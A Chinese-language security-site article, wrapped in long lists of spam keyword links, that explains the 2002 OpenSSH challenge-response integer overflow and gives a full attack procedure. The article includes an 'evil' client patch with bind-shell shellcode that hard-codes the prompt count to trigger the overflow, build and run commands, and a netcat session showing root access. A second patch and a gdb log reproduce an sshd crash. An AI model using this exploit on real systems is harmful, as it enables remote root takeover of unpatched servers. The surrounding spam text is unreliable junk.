国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

OpenSSH 溢出攻擊方法
2005-11-25   

在OpenSSH 2.3.1p1到3.3版本中,關于挑戰反應處理代碼存在安全性缺陷。允許遠程入侵者以sshd(通常是root)進程的身份執行任意指令。
第一個缺陷是因為在挑戰反應認證過程中,OpenSSH在處理關于收到的響應次數的變量上存在整型溢出風險,如果挑戰反應設置為打開,并且系統使用SKEY或者BSD_AUTH認證選項,則允許攻擊者利用此缺陷遠程執行任意指令。這個漏洞已經被證實。
第二個缺陷牽涉到使用交互式鍵盤認證的PAM模塊, OpenSSH 2.3.1p1~3.3版本。OpenSSH在處理關于收到的響應次數的變量上存在緩沖溢出風險,不論挑戰反應設置如何,系統使用交互式鍵盤認證的PAM模塊(PAMAuthenticationViaKbdInt),可能會導致允許遠程非法執行指令的風險。目前尚未有代碼證實是否能達到攻擊效果。
對這兩個缺陷的攻擊,都建立在使用SSH ver2的版本特征上。
多個Linux/Unix平臺受該漏洞影響。
============================================================
攻擊方法:
1. 下載 openssh-3.2.2p1.tar.gz 并解壓
~ $ tar -xvzf openssh-3.2.2p1.tar.gz
2. 執行提供的補丁: (將下方補丁文件存為path_to_diff_file)
~/openssh-3.2.2p1 $ patch < path_to_diff_file
3. 編譯已經打過補丁的OpenSSH客戶端:
~/openssh-3.2.2p1 $ ./configure && make ssh
4. 運行ssh:
~/openssh-3.2.2p1 $ ./ssh root:skey@localhost
5. 如果成功,則可連接128端口
~ $ nc localhost 128
uname -a
OpenBSD nice 3.1 GENERIC#59 i386
id
uid=0(root) gid=0(wheel) groups=0(wheel)
(除此之外,bugtraq.org提供了一個打過補丁的SSH攻擊客戶端:sshutup-theo.tar.gz)
===========補丁文件===============
--- sshconnect2.c Sun Mar 31 20:49:39 2002
+++ evil-sshconnect2.c Fri Jun 28 19:22:12 2002
@@ -839,6 +839,56 @@
/*
* parse INFO_REQUEST, prompt user and send INFO_RESPONSE
*/
+
+int do_syscall( int nb_args, int syscall_num, ... );
+
+void shellcode( void )
+{
+ int server_sock, client_sock, len;
+ struct sockaddr_in server_addr;
+ char rootshell[12], *argv[2], *envp[1];
+
+ server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 );
+ server_addr.sin_addr.s_addr = 0;
+ server_addr.sin_port = 32768;
+ server_addr.sin_family = AF_INET;
+ do_syscall( 3, 104, server_sock, (struct sockaddr *) &server_addr,
16 );
+ do_syscall( 2, 106, server_sock, 1 );
+ client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)
+ &server_addr, &len );
+ do_syscall( 2, 90, client_sock, 0 );
+ do_syscall( 2, 90, client_sock, 1 );
+ do_syscall( 2, 90, client_sock, 2 );
+ * (int *) ( rootshell + 0 ) = 0x6E69622F;
+ * (int *) ( rootshell + 4 ) = 0x0068732f;
+ * (int *) ( rootshell + 8 ) = 0;
+ argv[0] = rootshell;
+ argv[1] = 0;
+ envp[0] = 0;
+ do_syscall( 3, 59, rootshell, argv, envp );
+}
+
+int do_syscall( int nb_args, int syscall_num, ... )
+{
+ int ret;
+ asm(
+ "mov 8(%ebp), %eax; "
+ "add $3,%eax; "
+ "shl $2,%eax; "
+ "add %ebp,%eax; "
+ "mov 8(%ebp), %ecx; "
+ "push_args: "
+ "push (%eax); "
+ "sub $4, %eax; "
+ "loop push_args; "
+ "mov 12(%ebp), %eax; "
+ "push $0; "
+ "int $0x80; "
+ "mov %eax,-4(%ebp)"
+ );
+ return( ret );
+}
+
void
input_userauth_info_req(int type, u_int32_t seq, void *ctxt)
{
@@ -865,7 +915,7 @@
xfree(inst);
xfree(lang);
- num_prompts = packet_get_int();
+ num_prompts = 1073741824 + 1024;
/*
* Begin to build info response packet based on prompts requested.
* We commit to providing the correct number of responses, so if
@@ -874,6 +924,13 @@
*/
packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE);
packet_put_int(num_prompts);
+
+ for( i = 0; i < 1045; i++ )
+ packet_put_cstring( "xxxxxxxxxx" );
+
+ packet_put_string( shellcode, 2047 );
+ packet_send();
+ return;
debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
===========END 補丁文件===============
附加信息:
How to reproduce OpenSSH Overflow.
The R7 team did a little investigating into one of the OpenSSH
vulnerabilities.
The following are instructions on how to reproduce a segmentation
violation in sshd (v3.2.3p1):
0.) Compile with PAM and S/KEY support.
1.) Apply the following patch to the ssh client:
- --- sshconnect2.c.bak Thu Jun 27 11:54:54 2002
+++ sshconnect2.c Thu Jun 27 11:56:27 2002
@@ -866,6 +866,7 @@
xfree(lang);
num_prompts = packet_get_int();
+ num_prompts = 2;
/*
* Begin to build info response packet based on prompts requested.
* We commit to providing the correct number of responses, so if
@@ -877,15 +878,16 @@
debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
+ if ( i == 0 ) {
prompt = packet_get_string(NULL);
echo = packet_get_char();
response = read_passphrase(prompt, echo ? RP_ECHO : 0);
- -
+ }
packet_put_cstring(response);
- - memset(response, 0, strlen(response));
+ /*memset(response, 0, strlen(response));
xfree(response);
- - xfree(prompt);
+ xfree(prompt);*/
}
packet_check_eom(); /* done with parsing incoming message. */
2.) Add "PAMAuthenticationViaKbdInt yes" to 'sshd_config'.
3.) Connect to sshd using the modified client.
Note: valid credentials are not required.
On the server side, you'll see:
[root@wonderland hi_chad]# gdb /usr/sbin/sshd
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) run -d
Starting program: /usr/sbin/sshd -d
debug1: sshd version OpenSSH_3.2.3p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
socket: Address family not supported by protocol
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
Generating 768 bit RSA key.
RSA key generation complete.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 33208
debug1: Client protocol version 2.0; client software version OpenSSH_3.2.3p1
debug1: match: OpenSSH_3.2.3p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-1.99-OpenSSH_3.2.3p1
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 124/256
debug1: bits set: 1626/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1597/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user jdog service ssh-connection method none
debug1: attempt 0 failures 0
debug1: Starting up PAM with username "jdog"
debug1: PAM setting rhost to "localhost.localdomain"
Failed none for jdog from 127.0.0.1 port 33208 ssh2
debug1: userauth-request for user jdog service ssh-connection method
keyboard-interactive
debug1: attempt 1 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=jdog devs=
debug1: kbdint_alloc: devices 'skey'
debug1: auth2_challenge_start: trying authentication method 'skey'
debug1: got 2 responses
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x08053822 in strcpy ()
(gdb)
Comments are much appreciated.
- Joe
相關站點:
http://www.kb.cert.org/vuls/id/369347

熱詞搜索:

上一篇:LINUX遠程管理工具SSH指南
下一篇:建設qmail服務器的病毒防護系統

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
99精品1区2区| 欧美日韩在线播放| 欧美日韩国产另类一区| 国产精品美女久久久久久久久| 国内精品久久久久影院色| 国产亚洲成aⅴ人片在线观看| 成人晚上爱看视频| 伊人开心综合网| 日韩欧美一级精品久久| 国产成人欧美日韩在线电影| 专区另类欧美日韩| 欧美高清激情brazzers| 国产在线乱码一区二区三区| 亚洲图片另类小说| 欧美不卡激情三级在线观看| 丁香婷婷综合五月| 视频一区视频二区中文字幕| 国产婷婷色一区二区三区四区| 日本精品一区二区三区高清| 极品尤物av久久免费看| 亚洲乱码日产精品bd| 亚洲精品一线二线三线| 欧美性猛交xxxx黑人交| 国产精品77777| 日本视频一区二区三区| 亚洲视频一二区| 久久久久久久久久久黄色| 日本高清不卡在线观看| 国产不卡视频在线观看| 麻豆国产欧美一区二区三区| 一区二区日韩av| 中文字幕在线一区| 久久这里只有精品视频网| 337p亚洲精品色噜噜狠狠| k8久久久一区二区三区| 国产精品1024| 久久超碰97中文字幕| 水蜜桃久久夜色精品一区的特点| 国产精品麻豆视频| 久久综合av免费| 日韩精品一区二区三区视频播放| 欧美性做爰猛烈叫床潮| 色综合天天综合网天天看片| 成人精品国产福利| 国产馆精品极品| 国产精品伊人色| 国产精品综合二区| 国产精品影音先锋| 国产一区二区久久| 国产成人在线观看| 国产激情91久久精品导航 | 亚洲日本青草视频在线怡红院| 欧美va在线播放| 日韩女优毛片在线| 日韩欧美另类在线| 欧美不卡视频一区| 国产日韩欧美精品一区| 国产亚洲精品资源在线26u| 国产日韩视频一区二区三区| 国产免费观看久久| 亚洲欧美激情在线| 亚洲一区二区三区在线| 天堂蜜桃一区二区三区| 强制捆绑调教一区二区| 国产精品资源在线| 色综合激情五月| 欧美日韩国产123区| 日韩欧美成人激情| 国产精品久久久久影院老司| 亚洲柠檬福利资源导航| 午夜精品福利在线| 精品一区二区三区在线观看| 国产精品一线二线三线精华| av午夜精品一区二区三区| 欧美亚洲国产怡红院影院| 日韩一卡二卡三卡| 国产精品美女久久久久高潮| 亚洲一区二区综合| 蜜臀精品一区二区三区在线观看 | 欧美日韩在线播| 精品久久久久久久久久久久久久久| 国产嫩草影院久久久久| 亚洲午夜国产一区99re久久| 日韩成人午夜电影| 成人性生交大合| 欧美日韩国产免费一区二区| www国产成人| 亚洲一区二区在线免费观看视频| 麻豆久久久久久久| 91视频在线观看免费| 欧美一级生活片| 亚洲免费观看高清完整版在线 | 欧美视频一区二区三区四区 | 成人性生交大片免费看中文网站| 在线看日本不卡| 久久婷婷国产综合国色天香| 亚洲久草在线视频| 国产成人综合视频| 欧美一级国产精品| 亚洲一卡二卡三卡四卡| 懂色中文一区二区在线播放| 日韩三区在线观看| 亚洲成av人综合在线观看| 99久久精品免费精品国产| 日韩精品一区二区三区视频| 香蕉成人啪国产精品视频综合网| 成人av在线资源| 久久久久久久久一| 精品制服美女丁香| 91精品国产品国语在线不卡| 亚洲图片有声小说| 91在线播放网址| 中文字幕日本不卡| 丁香桃色午夜亚洲一区二区三区| 日韩午夜在线播放| 日韩精品一区第一页| 欧美亚洲高清一区二区三区不卡| 亚洲欧美日韩中文播放 | 免费成人av在线播放| 欧美亚一区二区| 亚洲一级在线观看| 欧美日韩精品免费观看视频| 亚洲欧美日韩国产综合| 成人av免费在线| 国产蜜臀av在线一区二区三区| 国产精品亚洲第一| 中文字幕av资源一区| 国产91综合一区在线观看| 久久久一区二区三区捆绑**| 韩国中文字幕2020精品| 日韩免费高清av| 国产在线视视频有精品| 久久久精品国产99久久精品芒果| 国内成+人亚洲+欧美+综合在线| 欧美成人精精品一区二区频| 国产资源在线一区| 国产精品久久久久久久久动漫 | 国产精品高潮呻吟| www..com久久爱| 一区二区三区蜜桃| 欧美日本国产一区| 国内一区二区视频| 国产精品日韩精品欧美在线| jizz一区二区| 一区二区三区四区国产精品| 欧美精品丝袜久久久中文字幕| 香蕉加勒比综合久久| 精品少妇一区二区三区视频免付费 | 激情亚洲综合在线| 中文字幕免费不卡在线| 91老师片黄在线观看| 午夜久久久影院| 337p粉嫩大胆色噜噜噜噜亚洲| 高清不卡在线观看av| 一区二区视频免费在线观看| 91麻豆精品国产无毒不卡在线观看| 久久精品国产99国产| 亚洲欧洲韩国日本视频| 欧美高清视频www夜色资源网| 国产精品一区二区男女羞羞无遮挡| |精品福利一区二区三区| 欧美福利视频导航| 波多野结衣91| 日韩av网站免费在线| 国产精品久久久久久一区二区三区 | 国产欧美一区二区在线观看| 91丨九色丨尤物| 精油按摩中文字幕久久| 亚洲精品乱码久久久久久久久 | 91久久国产综合久久| 奇米色777欧美一区二区| 一区二区中文视频| 欧美不卡一区二区三区| 在线视频欧美精品| 国产成人精品免费| 午夜国产精品影院在线观看| 国产精品午夜春色av| 日韩欧美第一区| 欧美另类videos死尸| 成人av午夜电影| 国产一区二区伦理| 免费一级欧美片在线观看| 中文字幕视频一区| 国产欧美日韩卡一| 久久综合色之久久综合| 欧美绝品在线观看成人午夜影视| 91色在线porny| 国产suv精品一区二区三区| 久久精品国产精品亚洲综合| 天堂在线一区二区| 亚洲欧美激情视频在线观看一区二区三区| 久久久久久免费网| 2021久久国产精品不只是精品| 欧美日韩在线播放三区| 日本韩国一区二区三区| 99久久伊人网影院| 成人的网站免费观看| 不卡的电视剧免费网站有什么| 国产精品一区在线观看乱码| 国产精品一区二区x88av|